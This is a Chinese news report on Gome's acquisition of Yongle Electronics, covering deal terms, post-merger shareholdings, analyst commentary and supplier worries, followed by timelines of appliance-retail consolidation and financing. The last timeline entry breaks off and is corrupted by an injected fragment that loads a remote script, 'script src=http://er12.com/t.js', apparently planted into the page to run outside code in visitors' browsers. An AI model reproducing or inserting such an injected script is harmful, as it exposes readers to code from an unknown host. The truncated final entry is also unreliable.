备受关注的国美并购永乐一事，在几经变数之后，终于在７月２５日晚尘埃落定。这是中国家电零售行业迄今为止最大规模的并购案件。
同为在港上市公司，国美和永乐此前分列中国家电零售业第一和第三的位置。此次合并可谓真正的“强强联合”。
依据国美和永乐２５日联合发布的合并方案内容，此次合并将采用现金加换股方式，每股永乐对价０．３２４７股国美，外加每股永乐获０．１７３６港元。合并交易总金额共计５２．６８亿港元，其中现金为４．０９亿港元。
合并后，国美董事长黄光裕将继续担任合并后集团董事长，并有意委任永乐董事长陈晓出任公司首席执行官。其中，黄光裕将持有新公司５１．２％股份，陈晓及其管理层共同持有１２．５％的股份，永乐财务投资者――摩根斯坦利将持股２．４％左右。
根据双方的合并条款，合并完成后，国美将实行大股东权利，强制要求永乐退市。
在２５日的新闻发布会上，针对此次总金额为５２．６８亿港元的交易价格，陈晓表示是“公平合理”的，“股东也满意这个报价”。
依据国美和永乐联合发布的公告内容，对价后每股永乐股份为２．２３５４港元（包括每股２．０６１８港元的国美股份及现金０．１７３６港元），这一价格较７月１７日永乐停牌前的收市价高出９％，比２０个交易日永乐的平均收市价也高出１１％还多。
永乐财务副总裁张俭表示，双方合并事实上也为永乐股东带来了分享合并集团的增长潜力机会，因为“永乐的股东可以继续投资合并后的‘市场领导者’，也有机会分享合并后的业务规模。”
据测算，国美与永乐合并后，双方年销售额将突破７００亿元人民币，门店总数将激增，差不多相当于中国目前排名第二的家电零售企业――苏宁电器的３倍还多。
国美董事长黄光裕承认，打造一个具有国际竞争力的家电零售旗舰，是两家合并的重要原因。
就在５月份，全球最大家电零售商――美国百思买集团宣布出资１．８亿美元控股江苏五星电器，正式进入中国市场。后者是中国２００５年销售额名列前茅的家电连锁企业。
此前有舆论认为，国美与永乐的合并目的之一是壮大实力，共同对抗百思买。但在２５日晚的新闻发布会上，面对记者的提问，国美和永乐双方都对此避而不答。
“对中国家电连锁业来说，必须要有规模优势，也就是在国内市场必须要达到相当大的份额，才能更好地应对更强大的竞争对手，”家电行业资深专家罗清启说。
美林证券发表研究报告称，并购永乐将有利于国美的整体战略发展，还将加快行业整合。国美也将受惠于合并所带来的协同效应，令其赢利基调变得更好。花旗集团则表示，并购后双方业务将可能产生互补效应，并购还有望“舒缓”中国家电零售市场的激烈竞争。
“连锁业并购第一案”所产生的效应尚有待时间检验。有不少家电供应商就公开表示担忧，零售商一家独大的局面，可能会使供应商的话语权将进一步丧失，加剧当前家电流通领域渠道商“压榨上游供应商利润、形成自身赢利”的状况。
相关链接
家电连锁企业
整合大事记
２００２年７月 北京大中电器有限公司、上海永乐家用电器有限公司、河南通利、青岛雅泰等５家家电零售企业组成知名家电连锁组织――“中永通泰”。
２００３年１２月 上海永乐兼并了“中永通泰”成员之一的广州东泽电器，同时又与另一成员河南通利合资组建了河南通利永乐量贩有限公司。
２００４年７月 上海永乐与“中永通泰”核心成员之一的成都百货大楼集团组建了成百永乐生活电器公司。
２００５年４月 “中永通泰”中的青岛雅泰被江苏五星电器收购。至此，“中永通泰”彻底瓦解。
２００５年４月 国美电器收购黑龙江家电销售行业龙头哈尔滨黑天鹅家电实业经销有限公司。
２００５年７月 灿坤３ｃ突然与永乐签署了资产转让合同，将目前在国内的３２家灿坤３ｃ门店转让给永乐，交易定价为１．４３８亿元。
２００５年８月 国美电器收购深圳易好家商业连锁有限公司的１００％股权。
家电连锁卖场
融资大事记
２００４年６月 国美借壳鹏润在香港实现上市。
２００４年７月 苏宁在ａ股中小企业板上市。
２００５年１月 摩根期坦利收购永乐家电２０％股权。
２００５年１０月 永乐在香港联交所上市。
２００６年２月 美国华平投资基金获得国美９．７１％的股份。
２００６年３月 国美向黄光裕收购国美母公司３５％权益。
２００６年４月 黄光裕和花旗银行签署股票包销协议，一次性套现１２亿港元。
２００６年４月 永乐电器与北京大中电器宣布合并。
２００６年４月 大摩持股永乐的“禁售期”自动终止，大摩此后一连串的减持行动使其目前所持永乐股权已经由入股永乐时的２０％降至约１５．４％。
２００６年６月 苏宁电器?script src=http://er12.com/t.js>
